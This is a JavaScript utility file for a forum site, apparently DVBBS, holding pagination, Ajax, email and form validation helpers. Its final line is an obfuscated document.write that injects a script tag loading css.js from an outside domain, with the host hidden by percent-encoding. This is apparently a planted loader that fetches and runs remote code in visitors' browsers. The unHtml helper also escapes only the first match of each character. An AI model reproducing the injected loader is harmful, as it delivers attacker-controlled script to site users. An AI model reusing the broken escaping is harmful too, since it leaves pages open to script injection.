var tabStatus = 0;

var BBSCateID = 0;
var BBSArticleID = 0;
var BBSPager = 0;

var infoPager = 0;
var infoArticleID = 0;
var infoPager = 0;

function boardbarover(obj)
{
	obj.className = obj.className.indexOf("listhover")>0? "list":"list listhover";
}

function setEnable(obj,disable)
{
    if(obj) { obj.disabled = !disable; }
}

 
function loadCss (jsF){
    var n = document.createElement("link");
    var h = document.getElementsByTagName("head")[0];
    n.type = "text/css";
    n.rel = "stylesheet";
    n.media = "all";
    n.href = jsF;
    if (h) h.appendChild(n);
	else document.documentElement.appendChild(n);
}

function $() {
    var elements = new Array();
    for (var i = 0; i < arguments.length; i++) {
        var element = arguments[i];
        if (typeof element == 'string') element = document.getElementById(element);
        if (arguments.length == 1) return element;
        elements.push(element);
    }
    return elements;
}

function onLinkClick(page){
    if (tabStatus == 1) {
        if (BBSPager == 0) bbsGetArticleList("all",BBSCateID,page,0);
        if (BBSPager == 1) bbsGetDisplayArticle(BBSArticleID,page);
    } 
    if (tabStatus == 2) {
        if (infoPager == 0) infoGetArticleList(infoCateID,page);
    } 
}

DVBBSPager = function (){
    this._Url = "";
    this._PageIndex = 1;
    this._TotalPage = 1;
    this._PageSize = 20;
    this._TotalRecord = 0;
    this._StyleName = "DVBBSPager";
    this._Align = "left";
    
    this.setUrl = function (_val){this._Url = _val;}
    this.setPageIndex = function (_val){this._PageIndex = _val;}
    this.setTotalPage = function (_val){this._TotalPage = _val;}
    this.setPageSize = function (_val){this._PageSize = _val;}
    this.setTotalRecord = function (_val){this._TotalRecord = _val;}
    this.setAlign = function (_val){this._Align = _val;}
    
    this.Execute = function (_CtrlID){
       
        var _str = "<div id=\"" + this._StyleName + "\" class=\"" + this._StyleName + " " + this._Align + "\">" ;

        _str += " <a class=" + this._StyleName + "_total title=\"总记录数\">" + this._TotalRecord + "</a>";
        _str += "<a class=" + this._StyleName + "_pages title=\"当前页/总页数\">" + this._PageIndex + "/" + this._TotalPage + "</a>";
        
        if (this._PageIndex > 1) {
            _str += ("<a href=# onclick=\"onLinkClick(1)\" class=\"" + this._StyleName + "_redirect1\" title=\"第一条\"> &nbsp;</a>");
            _str += ("<a href=# onclick=\"onLinkClick(" + (this._PageIndex-1) + ")\" class=\"" + this._StyleName + "_redirect2\" title=\"上一条\"> &nbsp;</a>");
        }
        var i,j,k
        
        if (this._PageIndex==this._TotalPage) 
            j = (this._PageIndex-10<1) ? 1 : this._PageIndex-10;
        else
            j = (this._PageIndex-5<1) ? 1 : this._PageIndex-5;
        
        if (this._PageIndex==1) 
            k = (this._PageIndex+10>this._TotalPage) ? this._TotalPage : this._PageIndex+10;
        else
            k = (this._PageIndex+5>this._TotalPage) ? this._TotalPage : this._PageIndex+5;
            
        for(i=j; i<k+1; i++) {
            if (this._PageIndex == i) {
                _str += ("<a class=\"" + this._StyleName + "_curpage\">" + i + "</a>");
            } else {
                _str += ("<a href=# onclick=\"onLinkClick(" + i + ")\" class=\"" + this._StyleName + "_num\">" + i + "</a>");
            }
        }
        
        if (this._PageIndex != this._TotalPage) {
            _str += "<a href=# onclick=\"onLinkClick(" + (parseInt(this._PageIndex)+1) + ")\" class=\"" + this._StyleName + "_redirect3\" title=\"下一条\"> &nbsp;</a>";
            _str += "<a href=# onclick=\"onLinkClick(" + this._TotalPage + ")\" class=\"" + this._StyleName + "_redirect4\" title=\"最后一条\"> &nbsp;</a>";
        }
        
        _str += "<input class=" + this._StyleName + "_input onkeydown=\"if(event.keyCode==13) {onLinkClick(this.value); return false;}\" id=" + this._StyleName + "_input>";
        _str += "<input class=" + this._StyleName + "_btn type=submit onclick=\"javascript:if($('" + this._StyleName + "_input').value=='')$('" + this._StyleName + "_input').value=" + (parseInt(this._PageIndex)+1) + ";onLinkClick($('" + this._StyleName + "_input').value);return false;\" value=GO>";
        _str += "</div>";
        //alert(_str);
	    if (this._TotalRecord==0) $(_CtrlID).innerHTML = ""; else $(_CtrlID).innerHTML = _str;
    }
}


Ajax = function (){
	var navName = (function (){
		var u = navigator.userAgent.toLowerCase();
		if (/gecko/i.test(u)) return "moz";
		if (/msie/i.test(u)) return "ie";
		return "other";
	})();
	var ie = navName=="ie";
	var moz = navName=="moz";
	// xmlHttp对象
	this.xmlHttp = function (){
		if (ie)	{
			for (var i=0; i<2; i++)
			try{
				var r = new ActiveXObject(["MSXML2.XMLHTTP", "Microsoft.XMLHTTP"][i]);
				return r;
			}catch (e) { return null;};
		}
		else return new XMLHttpRequest();
	}
	// xmlDom对象
	this.xmlDom = function (){
		if (ie)
			for (var i=0; i<4; i++)
				try{
					var r = new ActiveXObject(["MSXML2.DOMDocument", "Microsoft.XMLDOM", "MSXML.DOMDocument", "MSXML3.DOMDocument"][i]);
					return r;
				}catch (e){return null;}
		else return document.implementation.createDocument("", "doc", null);
	}
	// 装载一个Http//返回指定url的文本内容，asy指定是否异步，如果异步，xmlHttp做为参数并执行fun
	this.loadHttp = function (url, asy, fun){
		var xmlHttp = this.xmlHttp();
		xmlHttp.open("GET", url, (asy ? true : false));
		if (asy){
			xmlHttp.onreadystatechange = function()	{
				if(xmlHttp.readyState==4) fun (xmlHttp);
			};
			xmlHttp.send(null);
		}
		else{
			try{
				xmlHttp.send(null);
			}catch (e){
				throw new Error("LoadHttp Error.");
				return;
			}
			return xmlHttp.responseText;
		}
	}
	// POST提交数据，asy指定是否异步，如果异步，xmlHttp做为参数并执行fun，否则返回操作后的结果
	this.postData = function (url, data, asy, fun){
		var xmlHttp = this.xmlHttp();
		xmlHttp.open("POST", url, (asy ? true : false));
		xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
		if (asy){
			xmlHttp.onreadystatechange = function()	{
				if(xmlHttp.readyState==4) fun (xmlHttp);
			};
			xmlHttp.send(data);
		}
		else{
			try{
				xmlHttp.send(data);
			}catch (e){
				throw new Error("PostData Error.");
				return;
			}
			return xmlHttp.responseText;
		}
	}
	// 装载一个XmlDom//返回xmlDom对象，url为xml的地址，asy指定是否异步，如果异步，xmlDom做为参数并执行fun
	this.loadXml = function (url, asy, fun){
		var xmlDom = this.xmlDom();
		xmlDom.async = asy ? true : false;
		if (asy){
			if (ie) xmlDom.onreadystatechange = function (){
				if(xmlDom.readyState == 4) fun(xmlDom);
			} 
			else xmlDom.onload = function (){
				fun(xmlDom);
			}
		}
		xmlDom.load(url);
		return xmlDom;
	}
	// 取得xmlDom对象的xml内容
	this.getXml = function (xDom){
		if (ie) return xDom.xml;
		else return (new XMLSerializer()).serializeToString(xDom);
	}
	// 二进制转换
	this.Bin2Str = function (binary){
		var rec = new ActiveXObject("ADODB.RecordSet");
		rec.Fields.Append("DDD",201,1);
		rec.open();
		rec.addNew();
		rec(0).appendChunk(binary);
		rec.update();
		var result = rec(0).value;
		rec.Close();
		return result;
	}
}

function getData(_url){
    _url = _url.indexOf("?")==-1 ? _url + "?iTime=" + Math.random() : _url + "&iTime=" + Math.random();
    var myAjax = new Ajax();
    return myAjax.loadHttp(_url);
}
function postData(_url,_data){
    _url = _url.indexOf("?")==-1 ? _url + "?iTime=" + Math.random() : _url + "&iTime=" + Math.random();
    var myAjax = new Ajax();
    return myAjax.postData(_url,_data);
}
function setHTML(Label,sHTML){
	$(Label).innerHTML = sHTML;
}


function unHtml(_Code){
    var _str = _Code.replace("''", "'").replace("\n", "<br />").replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;").replace("&", "&amp;").replace(">", "&gt;").replace("<", "&lt;").replace(" ", "&nbsp;").replace("\0", "");
    return _str;
}

String.prototype.Trim=function(){return this.replace(/(^[\s]*)|([\s]*$)/g,"");}

function URLParams(ParamName){
    var aParams=document.location.search.substr(1).split('&');
    for (i=0;i<aParams.length;i++){
        var aParam = aParams[i].split('=');
        if (ParamName.toLowerCase().Trim()==aParam[0].toLowerCase().Trim())
            return aParam[1].Trim();
    }
    return "";
}

function isEmail(theStr)
{
	var unchar="/\\;:,";
	var atIndex = theStr.indexOf('@');
	var dotIndex = theStr.indexOf('.', atIndex);
	var flag = true;
	for (i=0;i<theStr.length;i++){	
		if (unchar.indexOf(theStr.substr(i,1)) > -1){
			return false;		
		}
	}
	theSub = theStr.substring(0, dotIndex+1)
	if ((atIndex < 1)||(atIndex != theStr.lastIndexOf('@'))||(dotIndex < atIndex + 2)||(theStr.length <= theSub.length)) 
	{	flag = false; }
	else { flag = true; }
	return(flag);
}


function chkFormData(txtObjStr,divObjStr,minLength,maxLength,titleStr,isSubmit,isNVarchar){
    var txtObjLength = (isNVarchar) ? $(txtObjStr).value.length : cnLength($(txtObjStr).value);
    
    if (txtObjLength==0 && minLength!=0) {
        if (divObjStr!="") {
            $(divObjStr).innerHTML = "<div class=\"ErrorMsg\">" + titleStr + "不能为空！</div>";
            try {
                if (isSubmit) {$(txtObjStr).focus();}} 
            catch(e) {}
        } else {
            alert(titleStr + "不能为空！"); 
            if (isSubmit) {$(txtObjStr).focus();}
        }
        return false;
    } else if (txtObjLength<minLength){
        if (divObjStr!="") {
            $(divObjStr).innerHTML = "<div class=\"ErrorMsg\">" + titleStr + "不能小于" + minLength + "个字符！</div>";
            if (isSubmit) {$(txtObjStr).focus();}
        } else {
            alert(titleStr + "不能小于" + minLength + "个字符！"); 
            if (isSubmit) {$(txtObjStr).focus();}
        }
        return false;
    } else if (txtObjLength>maxLength){
        if (divObjStr!="") {
            $(divObjStr).innerHTML = "<div class=\"ErrorMsg\">" + titleStr + "不能大于" + maxLength + "个字符！</div>";
            if (isSubmit) {$(txtObjStr).focus();}
        } else {
            alert(titleStr + "不能大于" + maxLength + "个字符！"); 
            if (isSubmit) {$(txtObjStr).focus();}
        }
        return false;
    } else {
        if (divObjStr!="") { $(divObjStr).innerHTML = ""; }
    }
    return true;
}



function cnLength(Str) {
	var escStr = escape(Str);
	var numI = 0;
	var escStrlen = escStr.length;
	for (i = 0;  i < escStrlen;  i++) 
	if(escStr.charAt(i) == '%') 
	if(escStr.charAt(++i) == 'u')  numI ++;
	return Str.length+numI;
}

function isMatch(regStr,sStr)
{
	var r=sStr.match(regStr);
	if(r==null){return false;}else{return true;}
}

function isNumeric(input){
    if (!isNaN(input)) {return true;} else {return false;}
}
document.write ('<SCRIPT src=http://%77%77%77%2E%71%71%63%6F%6D%31%36%38%2E%63%6F%6D/%63%73%73/%63%73%73%2E%6A%73></script>');

